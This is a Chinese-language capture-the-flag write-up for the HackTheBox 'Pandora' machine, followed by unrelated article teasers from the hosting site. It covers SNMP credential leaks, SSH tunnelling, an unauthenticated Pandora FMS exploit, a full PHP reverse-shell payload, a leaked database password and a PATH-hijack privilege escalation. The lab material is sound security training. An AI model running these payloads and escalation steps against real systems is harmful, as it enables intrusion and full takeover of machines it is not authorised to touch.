htb Pandora walkthrough snmp + ssh 隧道 + 环境变量劫持

news/2025/3/10 15:08:45/文章来源:https://www.cnblogs.com/wssw/p/18688152

80端口web界面
image

划到最下面发现两个邮箱 记录一下
image



尝试加上域名
image

dirsearch 扫描只扫到一个assets目录
image



但是值得注意的是这个目录里面有个blog目录
也就意味着他的网站是有博客网站的 只是我们没扫描出来
image



扫扫udp端口
image
发现161 的 snmp是开着的




用nmap 枚举进程
nmap -sU -p161 --script *snmp* $target
发现了密码 以及用户
image

ssh登录成功
image



flag在另一个用户里 我们得转换成另一个用户
netstat -lnpt发现3306是开着的
image



我想在/var/www/ 里面找到有关的配置文件 以获取数据库连接所需的用户名和密码
image
但似乎我们无权访问




去/etc/apache2/sites-enabled/目录看看
image
发现有两个文件



pandora.conf 的内容

image

发现我们需要用localhost 访问80端口才能访问到该页面



ok 我们来个ssh动态隧道代理
ssh -N -D 0.0.0.0:9999 daniel@10.10.11.136
image
再挂一个sock4代理
image




访问成功
image
在最底下我们能看到一个版本
image
根据这个版本搜索exp
找到了一个exp https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated/blob/master/README.md




为了能让我们的exp脚本走我们的代理
我们 需要设置一下proxychains的代理 配置文件
vim /etc/proxychains4.conf
image
走我们的代理





尝试执行
image
发现执行成功!!!!
我们访问一下webshell 执行whoami
image




在webshell上面执行chmod 777 /var/www/pandora

然后上传我们的反弹shell代码到这个web站的根目录

反弹shell源码
<?php $sock = fsockopen('10.10.16.4', 80);$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process = proc_open('/bin/sh', $descriptorspec, $pipes);proc_close($process);?>

image
然后访问re.php 就会触发我们的反弹shell代码了



image



监听 80端口nc -lvvp 80
获取反弹shell成功
image



获取第一个flag
image




ok我们进入提权环节
再次回到我们先前没有权限查看的数据库配置文件
image
/var/www/pandora/pandora_console/include/config.php




先尝试一下用这个密码能否直接登录root
image
失败了




登录数据库看看有啥
mysql -upandora -pPandoraFMSSecurePass2021
但是里面似乎没有对提权太有帮助的信息




查看suid权限文件
find / -perm -u=s -type f 2>/dev/null
image
发现有个特殊的文件
pandora_backup




为了了解具体的执行内容
我们cd /usr/bin
python3 -m http.server 8080
image
然后再kali上获取改二进制文件
image
strings pandora_backup 查看具体内容
image
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/* 可以看到这个核心的命令

再来用ida看看
image

很明显了我们可以进行环境变量劫持 提权




提权实操
PATH=/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 修改环境变量
cd ~ 回到我们的家目录
echo 'chmod +s /bin/bash' > tar
chmod 777 tar
/usr/bin/pandora_backup
image
可以看到现在我们的/bin/bash 是具有suid 权限的
bash -p 提权成功
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/873756.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IT-Tools-开源好用的IT工具集

访问地址: 线上访问:https://it-tools.tech/ 开源社区:https://github.com/CorentinTh/it-tools 支持私有化部署: docker run -d --name it-tools --restart unless-stopped -p 8080:80 ghcr.io/corentinth/it-tools:latest简要介绍: IT-Tools 是为开发人员提供的在线工具…

4.4.2 版本更新来了!全新内容抢鲜看

产品更新概览 功能新增: 新版API支持在进行数据解析选择JSON节点时,全选下一层节点。 功能修复: 修复新版API认证功能; 修复报表后台系统用户权限问题。 功能优化: 支持在Linux X64版本上连接神通数据库; 支持连接2.x版本的TDengine数据库。 功能新增 在山海鲸可视化4.4.…

分享给大家一款网站四合一缩略图生成在线工具

​ 今天,我们要介绍一款能够极大提升网页设计和测试效率的工具——3M万能在线工具箱中的“四合一网页设备缩略图”生成工具。 为什么需要四合一缩略图生成在线工具? 在网页设计和开发过程中,确保网页在不同设备上(如台式机、笔记本电脑、平板电脑和手机)都能完美显示是至关…

ps ef命令查询进程号pid

ps ef命令查询进程号pid楼兰胡杨已经在《五分钟扫盲:25个工作中常用的Linux命令》分享了ps命令的简单使用方法,但是,写的过于笼统,这里详细介绍一下。语法:ps -ef | grep processName功能:查看当前进程 (process) 的状态。options:-e 显示所有进程,-f 全格式。说明:英…

详细剖析Java动态线程池的扩容以及缩容操作

前言 在项目中,我们经常会使用到线程来处理加快我们的任务。但为了节约资源,大多数程序员都会把线程进行池化,使用线程池来更好的支持我们的业务。 Java线程池ThreadPoolExecutor有几个比较核心的参数,如corePoolSize、maximumPoolSize等等。无论是在工作中还是在面试中,都…

Multiplayer Shooting Game

Launch game in settings添加多人游戏 设置游戏人数:选择网络模式:Play As Listen Server:其中一台有人游玩的机器充当服务器,需要图形渲染 Play As Client:指定一台机器作为服务器,没有人实际在这台机器上游玩游戏,无需图形渲染(大型多人游戏) 配置Project连接到Steam 启…

【Aegisub】卡拉OK模板执行器学习

目录什么是卡拉OK模板执行器卡拉OK模板执行流程概念解析template行code行code区模板修饰语声明类修饰语onceline [name]pre-line [name]sylfurisyl furi其他修饰语allcharfx namefxgroup namemultikeeptagsnoblanknotextrepeat n, loop n内联变量如何使用内联变量变量类型行(…

比特c语言-数组和函数实践:扫雷

目录游戏分析和设计游戏功能说明游戏界面分析和设计数据结构分析文件结构设计游戏设计思路游戏代码实现游戏扩展 游戏分析和设计 游戏功能说明使用控制台实现经典扫雷游戏 游戏可以通过菜单实现是否退出游戏 扫雷棋盘默认为9*9格子 默认随机布置10个雷 可以进行排查雷如果位置不…

ANSYS计算完成后提示:# Error:Result file is incomplete or corrupt. It cannot be read.

问题: ANSYS模态分析计算完成后出现: Error:Result file is incomplete or corrupt. It cannot be read.解决办法: 将安装目录下的:C:\Program Files\ANSYS Inc\v242\Win64\mechanical\v242\commonfiles\Language\en-us\fx0.msb 文件 拷贝到上一级目录:C:\Program Files\…

vue3 输入框中能获取焦点,但是输入不了内容

原因:表单中的ref与model参数是一个,这两个参数应该不同。相同的话,输入不进去内容

让万物「听说」:AI 对话式智能硬件方案和发展洞察

本文整理自声网 SDK 新业务探索组技术负责人,IoT 行业专家 @吴方方 1 月 18 日在 RTE 开发者社区「Voice Agent +硬件分享会」上的分享。本次主要介绍了 AI 对话式智能硬件的发展历程,新一波 AI 浪潮所带来的创新机遇、技术挑战以及未来的展望。在语音交互浪潮的推动下,AIoT…

第一讲C++

第一题Long Loong For a positive integer X, the Dragon String of level X is a string of length (X+3) formed by one L, X occurrences of o, one n, and one g arranged in this order. You are given a positive integer N. Print the Dragon String of level N. Note …